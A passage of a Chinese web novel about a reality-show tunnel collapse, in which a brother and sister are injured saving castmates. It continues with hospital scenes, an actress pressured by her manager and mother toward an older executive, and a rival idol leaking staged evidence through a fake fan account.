“你干什么?没有脑子吗?”江汀走过来,弯腰瞥了眼被砸出浅痕的地面,又抬头看向隧道顶部纵横的裂纹,眉头拧得更紧,“没看见这下面露着钢筋?节目组藏宝箱只会用木箱、布包,怎么可能埋在钢筋水泥里!你这么砸,万一震松了上面的砖石,塌了怎么办?” 黄芷禾心里早就对他憋着火了,现在被当众指责,又难堪又愤怒:“所以在你眼里,就你们本家那位姐姐有脑子,最聪明呗!我做什么都是没脑子的胡闹,是吧?” 江汀觉得她不可理喻:“我只是就事论事,这是基本的安全常识!你能不能理智一点?” “我很理智!我就是在认真比赛!”黄芷禾梗着脖子反驳,赌气般地再次举起那块铁板,“我今天就挖了,说不定下面真有宝藏,到时候看你还怎么说!” “你——”江汀想拦,可黄芷禾已经卯足了劲,铁板狠狠砸在凸起处。这一下比之前更用力,水泥地面竟被砸出个小坑,露出里面深灰色的泥土。 可还没等黄芷禾高兴,一阵细微的“咯吱”声突然从头顶传来。 起初只是轻微的摩擦声,像老鼠在啃咬木头,可下一秒,声音陡然变大——“咔嚓!”一声脆响,像是有什么东西在头顶断裂。 隧道好像要塌了? “啊——!”黄芷禾短促地惊叫一声,大脑一片空白,求生的本能瞬间压倒了一切。 她几乎是条件反射地扔掉了手中的铁板,转身就朝着来时的、光线明亮的隧道入口拼命跑去! 弹幕瞬间爆炸,充满了难以置信的愤怒和指责: 【我靠!黄芷禾这是人做的事?自己闯的祸转头就跑,不管别人死活?】 【江汀刚才还提醒她会塌,她偏不听,又蠢又坏。】 【怎么办我要急死了!!!其他人还在隧道里面啊!!】 隧道内,江汀也被这突如其来的变故惊得心头一凛。 导演好像介绍过,这条废弃隧道的另一端是被彻底堵死的,唯一的出口就是黄芷禾逃跑的方向。 “该死的!” 他暗骂一句,没有选择向外逃,而是咬牙逆着可能坍塌的危险,猛地向隧道深处冲去! 他必须通知还在里面的其他人! “江砚舟!” 江汀很快遇到了分头找珍珠的江砚舟,他几乎是吼出来的,“快!叫上你姐和李柏他们!隧道可能要塌了!” 江砚舟闻言,瞳孔猛地一缩,甚至来不及问细节,对危险的直觉和江汀焦急的神情让他反应过来。 他立刻转头,朝着江知雾刚才探查的方向疾跑,同时高声呼喊:“姐!李柏!李乐乐!快跑!隧道要塌了!快出去!” 他的声音在空旷的隧道里回荡,带着前所未有的惊惶。 江知雾的反应最快,她几乎在听到弟弟喊声的第一时间就从不远处的一个岔口闪身而出,脸上没有丝毫犹豫:“走!” 李柏和李乐乐也听到了,兄妹俩脸色煞白,但求生本能让他们立刻朝着入口方向狂奔。 “快!快!快!”李柏一边跑一边拉着妹妹。 坍塌已经开始加剧,更大的石块开始从顶部坠落,砸在地上发出沉闷恐怖的巨响,尘土弥漫,能见度迅速降低。整个隧道都在发出不堪重负的呻吟。 几个人拼命向外冲。 就在出口的光亮已经近在眼前,甚至能看到外面晃动的节目组人影和惊呼声时,一块巨大的水泥预制板从上方轰然砸落! “小心!”江知雾厉声喝道。 跑在最后一个的李乐乐被这突如其来的巨变和飞溅的碎石吓得惊叫一声,脚步一个踉跄,眼看就要被几块紧随其后落下的砖石砸中! 千钧一发之际,距离她最近的江知雾猛地回身,以一种极其敏捷且精准的动作,一把拽住李乐乐的手臂,利用冲力将她狠狠向前一带,同时自己的身体也顺势扑倒,抱着李乐乐向着侧前方唯一一小块没有立即被落石覆盖的区域滚去! “砰!”“哗啦——!” 碎石砸在她们刚才停留的地方。 几乎在同一时刻,紧跟着姐姐的江砚舟看到一块从侧面崩飞过来的、拳头大小的尖锐石块直直射向刚滚倒在地的江知雾的后背。 他根本来不及思考,瞳孔骤缩,下意识就伸出手臂猛地格挡过去! “呃!”一声闷哼,那石块重重砸在他的小臂上,剧痛瞬间传来,让他整条胳膊都麻了一瞬。 “快起来!走!”江知雾已经迅速拉起惊魂未定的李乐乐,同时另一只手抓住了弟弟的胳膊。 最后的几步路,他们几乎是连滚带爬,在节目组工作人员惊恐的接应下,终于冲出了彻底开始大面积坍塌的隧道入口! 糖果城堡内。 季宁深刚刚跟季念念一起找到一颗藏在糖罐里的珍珠,对讲机里却突然传来山上工作人员混乱尖锐的惊呼和嘈杂声。 虽然很快被掐断,但那一声模糊的“塌了!”和巨大的背景噪音,让季宁深的脸色瞬间剧变! 他径自起身,没跟任何人解释,以最快的速度坐进一辆车的驾驶位,踩满油门,朝通往隧道的公路疾驰而去。 山上,刚刚逃生的几人正瘫倒在安全区域。 李乐乐劫后余生,放声大哭,李柏一边喘着粗气一边拍着妹妹的背安抚,自己也吓得够呛,脸色惨白。 江知雾急促地呼吸着,她先是快速检查了一下李乐乐,确认她只是擦伤和惊吓,然后立刻来到弟弟身边。她看到了他护住手臂的动作和苍白的脸色。 “砚舟?”她的声音带着一丝不易察觉的颤抖,轻轻碰了碰他的左臂,“伤到了?” 江砚舟愣愣地坐在地上,左手紧紧握着疼痛难忍的右边小臂,额头上全是冷汗,眼神还有些空洞。 手臂上传来的剧痛和差点失去姐姐的后怕交织在一起,让他久久无法回神。 江知雾的心猛地一沉。 她单膝跪在弟弟面前,双手小心翼翼地捧住他冰凉汗湿的脸颊,强迫他看向自己。 “砚舟,看着我。”她的声音放得极轻,却带着不容置疑的力量,“姐姐没事。我们都出来了,听见了吗?姐姐没事。” 江知雾的拇指轻柔地擦过他额角的冷汗和沾染的灰尘,一遍又一遍地重复:“没事了,砚舟。姐姐在这里,姐姐没事。” 终于,在江知雾一遍遍的安抚下,他的眼球终于动了动,视线缓缓聚焦,落在姐姐的脸上。 江知雾一怔。 这个总是骄傲倔强、连害怕都要装作若无其事的弟弟, 他哭了。 第44章 黄芷禾瘫坐在离隧道入口不远处的空地上,手脚冰凉,耳鸣阵阵。 她听不见现场混乱的人声,也看不清周围奔忙的身影,心里只有一个念头。 完了。 她甚至不敢去看那些对准她的镜头,不敢想象此刻弹幕会是什么样子。那些曾经夸她“温柔”“善良”的赞美,此刻一定变成了最尖锐的嘲笑和唾骂。 而她确实引起了众怒: 【真是日久见人心,平时装得跟朵白莲花似的,关键时刻原形毕露,自私自利到极点!】 【看看你弟弟江汀吧,明明可以自己先跑,却冒着生命危险返回去通知所有人。只能说没有对比就没有伤害。】 【你们别光怪芷禾呀,这种明显有隐患的地方也敢让嘉宾进去,应该要怪节目组的安全措施有问题。】 【呵呵,芷粉别急着撇清责任,节目组是有错,但事故的主要原因还是你们正主。】 【见过蠢人,没见过这么蠢的人。看直播的时候简直给我气笑了,让她别砸,就非得砸,不知道跟谁较劲呢。】 现场,黄芷禾挣扎着爬起来,脸上血色尽失,嘴唇哆嗦着走向惊魂未定的几人。 “对、对不起……我真的不是故意的……”她的声音带着哭腔,充满了恐慌和悔恨,眼泪扑簌簌地往下掉,“我当时也没想那么多……” 然而,没有人回应她。 江汀直接扭开了头,连一个眼神都欠奉。 刚得知了前因后果的李柏和李乐乐嘴唇蠕动,也不太想搭理她。 此时,一阵急促的汽车引擎声由远及近,一辆节目组的越野车猛地刹停在众人旁边,扬起的尘土尚未落定,驾驶座的车门就被猛地推开。 季宁深几乎是跳下了车,他额角带着急迫的细汗,向来温润沉稳的脸上此刻写满了焦灼。 他的目光飞快扫过现场,第一时间精准地锁定了江知雾和江砚舟,看到他们都还算清醒地坐在地上,紧绷的下颌线才微微松弛了半分。 “都没事吧?”他快步走来,声音因为急促而显得有些沙哑,“先上车,马上去医院做全面检查!” 他的到来像是一剂强心针,让混乱的现场有了主心骨。 节目组的工作人员也终于组织起来,七手八脚地准备搀扶伤员。 季宁深的目光落在江砚舟明显受伤的手臂上,眼神一沉,二话不说,上前小心地避开他的伤处,和江知雾一左一右,将人稳稳地扶了起来,朝着车子走去。 李柏也搀着妹妹紧跟其后。 没有人再看黄芷禾一眼,也没有人理会她苍白无力的道歉。 糖 果城堡的嘉宾是最后知道废弃隧道情况的。 听到消息的那刻,宿姚的心一下子揪紧了。 季念念虽然不太明白“坍塌”具体有多可怕,但看到周围大人们骤变的脸色和紧张的气氛,小脸也跟着变得惨白惨白:“隧道塌掉,江姐姐和臭脸哥哥会不会有事啊?” 而恰在此时,工作人员的对讲机里传来更详细的情况通报,提到了有人受伤,以及江砚舟手臂被石块砸中的事。 暨明旭原本在一旁漫不经心地查看一个柜子,得知隧道坍塌时只是挑了挑眉,但听到江砚舟手臂受伤后,他眼睛一亮,脱口而出: “江前辈的手受伤了?那以后岂不是都不能弹吉他、钢琴之类的乐器了?” 话音刚落,察觉到宿姚和季念念都在看着自己,暨明旭这才意识到自己的失态。 他猛地清了清嗓子,语气也变得沉重起来:“我的意思是,希望他们人没有事……” 宿姚忍不住问:“你真是这么想的吗?” “你这话是什么意思?”暨明旭猛地皱起眉头,提高了音量,“不然你以为我在想什么,难道我还会盼着他受伤吗?” 宿姚静静地看着他,突然就很想问一个问题:“你上次平板展示的那张手稿,内容真是原创的吗?” 暨明旭眉头拧成一团,声音里满是难以置信的愤怒:“宿姚,我们是一起出道的队友!你居然质疑我?难不成我的手稿还能是伪造的吗?!” 他的音量不自觉拔高,季念念被他突如其来的激动吓了一跳,下意识往宿姚身后躲了躲,小手紧紧攥住宿姚的衣角。 宿姚看着暨明旭涨红的脸,张了张嘴,却没说出话来。 他不是故意要质疑队友,只是刚才暨明旭一瞬间流露出的幸灾乐祸,让他忍不住想起暨明旭和江砚舟之间的争议。 情感上,他想相信这个一起熬过练习生苦日子、一起在舞台上并肩作战的伙伴;可潜意识里,暨明旭每次提到江砚舟时的不甘,还有面对手稿追问时的闪躲,都让宿姚觉得手稿的事情有蹊跷。 宿姚的沉默比任何指责都让暨明旭难堪。 “好,好得很!”暨明旭猛地点头,脸色铁青,“我真没想到,连你也会这样想。我现在没法跟你沟通,我需要静静!” 医院里,消毒水的味道弥漫在空气中。 经过初步检查和包扎,江砚舟的左臂打上了固定的石膏,额角也有一些擦伤,但万幸的是没有更严重的内部损伤。江知雾除了些轻微擦伤,并无大碍。 季宁深主动去缴费了,单人病房内暂时只剩下姐弟两人。 江知雾坐在病床边,一眨不眨地看着弟弟打着石膏的手臂,眼睛有点红。 江砚舟难得看到清冷的姐姐露出这幅模样,有些无措,赶紧用故作轻松的语气说:“姐,我没啥大碍,只是骨裂,加上点皮肉伤,医生都说养一阵子就好,不影响以后弹吉他耍帅的。” “下次遇到危险,不要傻乎乎的替我挡着。”江知雾说。 “总不能让我眼睁睁看着你被砸吧!”江砚舟耸耸肩,“那我以后嘎嘣上天堂了,还不得被爸妈混合双打?” “江砚舟!” 江知雾气得给了弟弟一个脑瓜崩,“都什么时候了还贫嘴!” 江砚舟看到姐姐语气有些哽咽,心里顿时揪了一下。 他赶紧转移话题:“对了,你不是一直想知道为什么我怕黑吗,现在可以告诉你了。” 江知雾果然被带离了注意力,她微微一怔,随即轻轻点头,目光专注地看着江砚舟,示意他说下去。 江砚舟垂下眼睫,目光落在自己打着石膏的手臂上,语气变得很平,像是在说一件别人的、无关紧要的小事。 “就……爸妈出事那天,你不是被叫去认领尸体吗。”他喉结滚动了一下,声音低了些,“你从学校回来,先把我托付给旁支的亲戚照看。” “我当时不懂,就闹着非要去找爸爸妈妈。他们家正好有小孩过生日,喊了一堆同龄人来玩……”他说到这里,停顿了片刻,指尖无意识地抠着石膏边缘,“那群人就骗我,说带我去找爸爸妈妈。结果把我带进了放旧东西的地下室,然后……从外面把门锁死了。” 江知雾沉下脸,病房里的空气仿佛凝滞了。 “那里面特别黑,一点光都没有。还有股很难闻的霉味。”江砚舟的声音依旧没什么起伏,但语速不自觉地加快了一点,“我拍门,喊人,没人应。然后我就听见那些旁支的几个小孩在门外面唱歌,唱那种很欢庆的调子……” 他深吸了一口气,像是要摆脱那种黏腻的窒息感。 “他们一边唱,一边喊‘你爸妈死啦!再也回不来啦!’‘你们家的东西以后都归我们!’之类的话……” 江砚舟终于抬起眼,看向早已僵住的江知雾,扯了扯嘴角,想做出个无所谓的表情,却没太成功。 “我在地下室里待了很久,久到我以为自己会被永远困在那里,还好后来江汀来了,闹着要告诉你,他们才把我放出来。”江砚舟语气平淡地说,“从那以后,我就开始怕黑了。” 江知雾整个人像是被钉在了原地,脸色一寸寸白了下去。她张了张嘴,却发不出任何声音。 她从来不知道,在她独自承受着失去父母的巨大悲恸,强撑着处理那些可怕的后事时,她一心想要保护、以为安置好了的弟弟,却在另一个地方,遭受着这样的折磨。 “……对不起。”良久,她才从喉咙里挤出嘶哑的三个字,声音颤抖得厉害,“砚舟,对不起……我当时只是怕你看到爸爸妈妈的样子,会留下心理阴影,但是我不知道他们会那样对你。” 父母还在世时,那些亲戚哪个不是笑脸相迎,对姐弟俩照顾有加? 江知雾以为他们能暂时托付。 她以为只是跟弟弟分开一会儿。 巨大的愧疚和心痛瞬间将她淹没。 看到她这副模样,江砚舟顿时慌了神,急忙道:“哎姐!你别!我没怪你!真没怪你!” 其实换位思考一下,当年他被困在地下室害怕无助,而选择独自面对父母破碎尸体的姐姐,又何尝不是痛苦绝望的呢? 江砚舟急着想坐直些,却不小心碰到了伤臂,疼得“嘶”了一声,冷汗瞬间冒了出来,但还是急着把话说完: “我知道你是为了我好,怕我看到那种场面。”他喘了口气,认真地看着江知雾,“我告诉你这个,不是想让你难受或者道歉的。我就是想说……” 他顿了顿,眼神里带着前所未有的恳切和认真:“姐,以后不管发生什么事,别什么都自己硬抗着。我们是姐弟,是世界上最亲的人了吧?有困难一起面对,好不好?” 江知雾望着弟弟急切而真诚的脸庞,心脏像是被泡在温水里,酸涩却又温暖。 她用力眨回眼中的湿意,重重地点头,声音清晰而坚定: “好。” 另一边,黄芷禾正在焦头烂额应付经纪人林姐的电话。 “我怎么带了你这么个蠢货!让你录节目是去刷好感的,不是去表演怎么作死怎么招黑的!” “现在全网都在骂你自私自利、蠢钝如猪!品牌方的电话都快打爆了!你让我怎么跟人家解释?说我们家艺人只是脑子突然短路了吗?” “林姐,我真的知道错了……”黄芷禾的声音带着哭腔,无措道,“当时隧道里太黑了,我就是想砸开那里看看有没有被藏起来的珍珠,我没想到会塌……” “现在说这些有什么用?”林姐冷冷地说,“你知不知道你又因为负面消息上热搜了?” 黄芷禾颤抖着手点开微博,果然,#黄芷禾愚蠢致人受伤#、#黄芷禾恶意弄塌隧道#等好几个话题都高高挂在热搜榜前列,后面跟着刺眼的“爆”或“热”字标签。 “那怎么办啊林姐……”她彻底慌了神,语气里满是哀求,“你帮我想想办法,我不能就这么完了……” “办法?我能有什么办法?”林姐的声音陡然拔高,又很快泄了气,带着几分疲惫,“公关团队说你这事儿性质太恶劣,观众根本不买账,花钱都压不下去。现在唯一的指望,就是找个有分量的人帮你出面,压下舆论,顺便争取品牌方那边的谅解。” 黄芷禾的心猛地一跳:“可是我能找谁啊……” “找江明启啊!”林姐的声音带着一丝恨铁不成钢,“他好歹是你父亲,在商圈人脉那么广,只要他肯开口,就算不能完全扭转舆论,至少能暂时稳住局面!” 提到江明启,黄芷禾的身体瞬间僵住,像是被泼了一盆冷水。 她下意识地摇头,声音也弱了下去:“不行……我不能找他。” “为什么不能?”林姐的语 气里满是不解,“现在都什么时候了,你还在顾虑什么?” “他最近根本没空管我……”黄芷禾咬着下唇。 江明启名下的公司最近总是出现各种问题,项目亏空了不少,他正在焦头烂额忙着转圜,要是知道黄芷禾这边又出了状况,恐怕会对女儿更有意见。 电话那头沉默了几秒,接着传来林姐的叹气声:“真是上辈子欠你的……你爸这条路走不通,现在只有一个办法或许还能试试。我推你个微信,你赶紧加上。” “谁?”黄芷禾下意识地追问。 林姐的语气却变得有些微妙起来:“华耀传媒的刘总,刘世昌。你应该知道华耀传媒吧?江砚舟就是签在他们公司的,旗下还有好几个一线艺人,在圈内很有影响力。” “可是,他……他为什么会帮我啊?”黄芷禾的心里隐隐有些不安,总觉得这背后没那么简单。 “你忘了上个月的影视行业酒会了?”林姐的声音顿了顿,语气变得更加直白,“当时我带你去的,刘总对你挺感兴趣,还问过我你的情况。华耀的实力你知道的,旗下那么多艺人,公关资源也强,只要他肯帮你,别说压下热搜,甚至给你争取更好的资源都有可能。” 林姐的意思,再明显不过了。 黄芷禾几乎是立刻否决:“不行!林姐……” 她好歹也是江明启的亲生女儿,正经八百的豪门千金,凭什么要去陪个中年老男人? “我丑话说在前面,别在这个时候给我装清高!娱乐圈是什么地方你还没看明白吗?”林姐的声音打断了她的话,带着不容置疑的决绝,“微信我已经推给你了,加不加、怎么说,你自己决定。” 说完,林姐直接挂断了电话。 手机屏幕暗了下去,映出黄芷禾苍白而扭曲的脸。 她看着林姐推过来的名片,手指悬在屏幕上方,迟迟没有落下。 她想起自己刚进娱乐圈时的野心,想起粉丝们喊她“芷禾小仙女”时的热情,想起自己曾经发誓要靠实力站稳脚跟的决心。 可现在,为了保住这一切,她却要向一个陌生男人低头,甚至要付出自己的尊严……吗? 黄芷禾迷茫了。 * 病房门被轻轻推开时,江知雾刚帮江砚舟调整好靠枕的角度。 李柏扶着脸色依旧有些苍白的李乐乐走了进来,江汀则提着一袋水果跟在他们身后,默不作声地把水果放在床头柜。 “江姐姐,砚舟,你们没事吧?”李乐乐走到江知雾床边,眼眶微微发红,“真的太谢谢你了,江姐姐,要是刚才隧道塌的时候,你没拉我一把,我肯定就被埋在里面了。” 江知雾站起身,轻轻拍了拍她的肩膀,语气平静却带着安抚的力量:“不用这么客气,当时那种情况,互相帮助是应该的。”她顿了顿,话锋微微一转,“而且要说谢,我们都得谢一个人。” 江砚舟靠在床头,适时接话:“当时隧道刚开始晃的时候,江汀离出口很近,却折回来喊我们赶紧走。要不是他提醒得及时,我们说不定都反应不过来。” 话音落下,所有人的目光都聚焦到了江汀身上。 李乐乐连忙对着江汀深深鞠了一躬:“对对对!江汀,谢谢你的提醒!” 李柏也郑重地点头附和:“江汀,这次多亏你了。” 突然被推至聚光灯下,承受着如此直白而真诚的感谢,江汀明显僵硬了一下,浑身不自在。 他别扭地移开视线,抬手胡乱地挥了挥:“顺手的事而已,用不着这样。” 几人又坐在床边聊了一会儿,又对江砚舟说了几句“好好休养”的话,这才离开病房。 没过多久,季宁深提着几个保温袋回来了,淡淡的食物香气驱散了少许消毒水的味道。 “刚去楼下餐厅买的饭菜,不知道合不合你们口味。”季宁深打开其中一个保温桶,里面是清炒时蔬和一份排骨汤,另一个桶里则装着米饭和一份红烧肉,“医生说砚舟需要补充营养,我多要了份排骨汤。” 江知雾拿起勺子,想盛碗排骨汤喂给江砚舟,手刚伸出去,就被季宁深拦住了。 他接过她手里的勺子,语气自然:“你先吃你的,我已经吃过了,我来喂他吧。” 江砚舟看着季宁深伸过来的勺子,眉头拧得能夹死苍蝇,浑身上下每个细胞都写满了抗拒和别扭。 让季宁深喂他吃饭? 这画面想想都让江砚舟浑身起鸡皮疙瘩,简直比让他一只手吃饭还难受! 他猛地往后一靠,差点扯到伤臂,龇牙咧嘴地强调:“停!季宁深你放下!我自己来。” 季宁深动作一顿,挑眉看他,眼神里带着点戏谑:“你确定?医生说了,你这右臂不能用力。” “我左手又没断。”江砚舟嘴硬,飞快地用左手抢过季宁深手里的勺子。 “你慢点!”江知雾忍不住出声。 “没事儿姐,看我的!”江砚舟逞强地嘟囔,试图用左手舀起一勺米饭。 然而,他右手打着石膏使不上劲,单靠左手稳住保温桶本就别扭,舀饭的姿势更是十分别扭。江砚舟手腕一抖,那勺饭颤巍巍地悬在半空,底下的保温桶因为他笨拙的发力猛地一滑—— “哎!” 眼看保温桶就要翻倒,季宁深眼疾手快地一把扶稳。 江砚舟:“……” 场面一度十分尴尬。 江砚舟耳根微红,梗着脖子说:“意外!纯属意外!” 他不死心,屁股挪啊挪,铆着劲想调整坐姿。 谁料后背刚离开靠枕,腰侧突然传来一阵尖锐的刺痛——刚才在隧道里被石块蹭到的擦伤,此刻被布料一扯,疼得他脸色骤白,倒吸了一口冷气。 “怎么了?”江知雾立刻察觉到他的异样,“是不是碰到哪里了?很疼吗?” “没事啊!”江砚舟咬紧后槽牙,硬生生把那声痛呼憋了回去,挤出一个比哭还难看的笑,“就是刚才坐久了有点麻。” 季宁深站在一旁,抱着手臂,好整以暇地看着他。 江砚舟权当看不见,对着江知雾说:“姐,我突然想喝楼下便利店那种冰镇可乐了,你能不能帮我买一瓶?” 江知雾皱眉:“你受着伤呢,还想喝冰可乐?” “就喝一点点嘛,姐~”江砚舟说,“感觉喝了心情能好点,伤口都没那么疼了。” 江知雾看他似乎确实没什么大事的样子,只好无奈地点头:“好吧,那你等着,我很快回来。宁深,麻烦你看着他点。” “放心。”季宁深似笑非笑地点头。 病房门在江知雾身后轻轻合上。 几乎就在门锁“咔哒”一声落下的瞬间—— 刚才还强装镇定的江砚舟,整个人猛地瘫软下去,像是被抽掉了所有骨头。 “嗷——疼疼疼疼疼!!!”他爆发出压抑已久的、撕心裂肺的惨叫,简直堪比杀猪现场,“卧槽!这破擦伤怎么这么疼啊!!!” 第45章 黄芷禾在酒店房间里挣扎了整整一夜。 最后,她还是决定先去跟江知雾、江砚舟道歉试试,与其卑微求刘世昌,不如主动找姐弟俩示好。 只要她态度足够诚恳,最好能让媒体拍到她去医院探望的画面,再引导通稿说“双方已和解”,说不定能扭转一部分网友的印象。 想到这里,黄芷禾立刻起身,让助理跑遍附近的水果店和花店,挑了最 新鲜的进口水果篮和一大束白玫瑰,假装是早就准备好的慰问礼。 下午两点,黄芷禾提着大包小包的东西出现在医院住院部楼下,特意让随行的助理打开手机直播。 “大家别误会,我想来看看砚舟,”她对着镜头刻意放软语气,眼眶提前酝酿出几分红意,“之前的事确实是我不对,我一直很愧疚,就想当面跟他们说声对不起。” 直播间里的评论果然有了些松动,虽然还有不少人在骂“假惺惺”,但也有零星几条“看态度还挺诚恳,先看看后续”的留言。黄芷禾心里一松,提着东西快步往住院部楼上走。 可刚到江砚舟病房所在的楼层,她就被拦在了走廊尽头。 两个穿着黑色西装的男人笔直地站在病房门口,他们不像普通的保镖,气质更为沉稳内敛,面容肃穆,打量黄芷禾的眼神带着审视。 “请问你们是?”黄芷禾强压下心底的不安,努力挤出礼貌的微笑,“我是黄芷禾,来探望江知雾小姐和江砚舟先生的,这是我的一点心意。”她说着就想绕过两人往病房走。 “站住。”左边的保镖上前一步,手臂一横,稳稳挡住了她的去路,声音没有丝毫温度,“江小姐和江先生现在不接待访客。” 黄芷禾脸上的笑容僵了一下,下意识提高了音量:“我知道之前的事给他们添了麻烦,所以特意来道歉的,就耽误他们几分钟,不会打扰太久。”她晃了晃手里的水果篮,试图展现自己的诚意,“你们通融一下,跟里面说一声好不好?” 另一个保镖依旧面无表情:“不必了,江老太太说过,让我们不许放无关人员进去打扰。” 江老太太? 黄芷禾一顿,咬了咬下唇。 难怪父亲总是说江老太太偏心,本家姐弟俩受伤的消息刚传出去,她老人家还在病榻上,就急急忙忙派人过来照看了。 她咬了咬牙,挺直脊背:“你们知道我是谁吗?我是江明启的女儿,江砚舟按辈分还得叫我一声姐姐!你们敢拦我,就不怕我爸知道了不高兴吗?” 她以为搬出“江明启”的名字,这两个保镖总得给点面子。 但这两位“门神”显然不是寻常人。 右边那位闻言,眼神都未曾动一下,只是重复道:“黄小姐,请回。” 他的语气是毫无转圜余地的坚决。 黄芷禾看着眼前这两位油盐不进的男人,知道自己今天绝无可能踏进这扇门。她下意识地看向助理的手机,发现直播间果然都在嘲讽她私生女还摆架子。 这些评论像凌空一巴掌扇在黄芷禾脸上,让她感到火辣辣的疼。 助理赶紧关掉直播,提着东西跟上她离开的脚步。 病房里,江砚舟正靠在床头,用没受伤的左手玩着手机,听到外面的动静,挑了挑眉问:“刚才谁来了?吵吵嚷嚷的。” 季宁深坐在离门最近的地方,语气平淡地说:“没什么,一个走错路的。” 江砚舟朝他瞥了一眼,眉头不自觉地皱了起来:“你怎么还不回去?” 季宁深闻言,不仅没动,反而轻轻叹了口气: “没办法,我这人心软,看不得别人受苦受难。像我这么善良的人不多见了,你就偷着乐吧。” 他这话说得情真意切,仿佛自己真是那无私奉献、却不被理解的当代活雷锋。 江砚舟听得眼角直抽抽。 他看着正在跟江老太太打视频电话的江知雾,暗忖,真想让他姐听听这人不要脸的发言。 * 另一边,黄芷禾狼狈地回到了童话小屋。 网上的嘲讽咒骂、林姐的最后通牒、被保镖拦阻的难堪……所有事情压得她几乎喘不过气。 她把自己摔进沙发里,脑子乱成一团浆糊。 走投无路之下,她颤抖着手,拨通了母亲黄淑兰的电话。 电话响了很久才被接起,背景音有些嘈杂,似乎还夹杂着一丝急促的、类似衣物摩擦的窸窣声,以及一声被迅速压低的、模糊的男性闷咳。 黄芷禾的心猛地一沉,下意识地问:“妈?你那边怎么有男人的声音?谁在你旁边?” 电话那头的黄淑兰声音明显带着一丝不自然的慌乱,气息也有些不稳:“没、没有啊!你听错了!就我自己在家看电视呢……怎么了芷禾,这个时间打电话给我,是节目录得不顺利吗?” 黄芷禾此刻心烦意乱,虽然疑虑未消,但也没心思深究母亲那边的情况。 她带着哭腔,将隧道事故引发的连锁反应、公司的压力、林姐的建议以及自己被拒之门外的事情,全都倒豆子般说了出来。 “……妈,林姐让我去联系那个华耀的刘总,刘世昌!他那个年纪都快能当我爸了!” 她本以为母亲会和她一样感到愤怒和羞辱,会帮她一起痛骂林姐的不近人情,甚至帮她想想其他办法。 没想到黄淑兰听后,竟然说:“能跟大佬接触,是你不可多得的机会啊。” 黄芷禾不敢置信地瞪大了眼睛,说道:“妈,这怎么能没事呢,这是出卖身体啊!” “你别把话说得那么难听。”黄淑兰教育她,“这其实就是正常的男女交往嘛,顶多……就是对方年纪稍微大了那么一点。” 黄芷禾有了那么一些迟疑,她心里也清楚,刘世昌是娱乐圈内数一数二的大佬,能跟对方攀上关系,绝对会是一条捷径。 但她还是有所顾虑:“可是……” 黄淑兰柔声责备:“傻孩子,上回让你去多认识认识豪门圈里那些跟你年纪相当的公子哥,你扭扭捏捏没成功。现在有个现成的大佬对你有意思,虽然年纪大,但地位高、资源多啊!你要是能跟他处好关系,拿点资金帮你爸转圜一下,咱们母女俩的地位不是更稳了吗?” 黄芷禾抿抿唇,有点被说服了。 她要是能坐稳江明启长女的位置,以后多分到一些产业,说不定也能像江知雾那样,当个呼风唤雨的女总裁。 反正结果最重要,谁看重过程呢? “女人活在这世上,就是要懂得利用自己的优势,抓住一切能抓到的资源。这位刘总,就是你现在不可多得的重要资源。”黄淑兰总结。 挂断电话后,黄芷禾咬了咬牙,向林姐推送的名片发了一条好友申请。 与此同时,隧道事件还在网上持续发酵。 黄芷禾的团队虽然拼命压热搜、撤话题,但当时直播中断前她毫不犹豫逃离隧道的画面,早已被无数网友截屏录屏,广泛传播。 她的社交媒体账号评论区彻底沦陷,充斥着愤怒的指责。 【自私自利到这种地步也是罕见!我都感觉她是故意要害人。】 【平时艹什么清纯善良小仙女人设,关键时刻直接暴露人品了。】 【还好大家最后都安全出来,要不然她得背上刑事责任吧?】 当然,也有不少死忠粉丝在负隅顽抗,拼命维护: 【当时也吓坏了啊,人在极度恐慌下做出不理智的行为可以理解吧?】 【她都主动去医院道歉了,她心里也很自责啊。】 这些言论无疑激起了更广泛网友的反感,嘲讽她们“被PUA傻了”、“粉圈思维入脑”、“全世界就你家姐姐最清白无辜”。 就在网友们对黄芷禾的讨伐愈演愈烈之时,一段直播影像在网络上广泛传播。 这段影像清晰地记录下了江知雾救李乐乐的全过程。从她奋不顾身拉着李乐乐躲开落石,再到就地翻滚卸力,紧接着迅速拽起李乐乐就走,整套动作是一气呵成的连贯。 而江砚舟在看到有石块朝姐姐砸去时,想也不想就冲过去替姐姐挡石头,那一瞬间的毫不犹豫,也让无数网友为之感动。 【我的天!江知雾这反应是特种兵级别了吧?!奔着李乐乐去的时候好像救世主降临。】 【江姐姐一直用实际行动告诉我们,她不是柔弱的富家千金,她是能扛事的女王!】 【还有江砚舟那个用手挡石头的动作… …我泪点低,给我看哭了。他完全是本能反应,根本没时间思考,下意识就选择了保护姐姐。】 【一个危难时刻能下意识保护家人的人,我不信他会干出请枪手替自己写歌的事情。】 【暨明旭那边除了平板拍下的手稿,还有什么实质证据吗?反而江砚舟的人品在这次事件中得到了印证。我倾向于相信江砚舟。】 就在网友们开始自发质疑此前对江砚舟的“请枪手”指控时,一直觉得隧道坍塌事不关己的暨明旭坐不住了。 他原本只是想趁着直播透露一些“江砚舟请枪手”的情况,让怀疑的种子在公众心中发芽,为后续的“实锤”做铺垫。 但他万万没想到,江知雾和江砚舟在危难时刻的表现,反而极大地提升了他们的公众形象,连带让人们对江砚舟的信任度不降反升。 眼看舆论马上要反噬到暨明旭自己身上,他立刻登录了一个早已准备好的、伪装成私生饭的小号,将一段清晰的“偷拍”视频和几张高清照片,上传到了几个活跃的八卦论坛和微博上。 【@暨明旭V哥哥受了太多委屈了!这是我冒着风险拍到的手稿备份,明明那么多旋律小节和@江砚舟V后来发行的歌高度重合,时间线都对得上!为什么原创者要忍气吞声?】 高清照片则展示了更多细节,包括一些被圈出的、与江砚舟成名曲极其相似的和弦进行和歌词片段排列。 这波“新证据”并没能引起路人的重视,不过原本就替暨明旭叫屈的粉丝再次冒头。 【明旭这个手稿备份的创建日期和修改日期,显示是在江砚舟发行前大半年,说不是同一首歌的雏形谁信啊?】 【虽说私生人人喊打,不过这位朋友也算干了一件好事,有了他偷拍的这些证据,我们才能知道明旭自己咽下了多少无奈和心酸。】 【艺术创作造假零容忍!不能因为江砚舟保护了姐姐,就无视他可能存在的原则性错误吧?这是两件事!】 暨明旭的经纪人电话立刻打了过来,语气焦急:“明旭!网上那个私生发的东西是不是你安排的?现在江知雾和江砚舟路人缘正好,你这样贸然放出证据太不明智了。” 暨明旭早就想好了说辞:“王哥,你的担心我懂。但正因为现在他们姐弟俩热度最高、关注度最广,任何和他们相关的负面消息才会以最快的速度传播开来,获得最大的讨论度。” 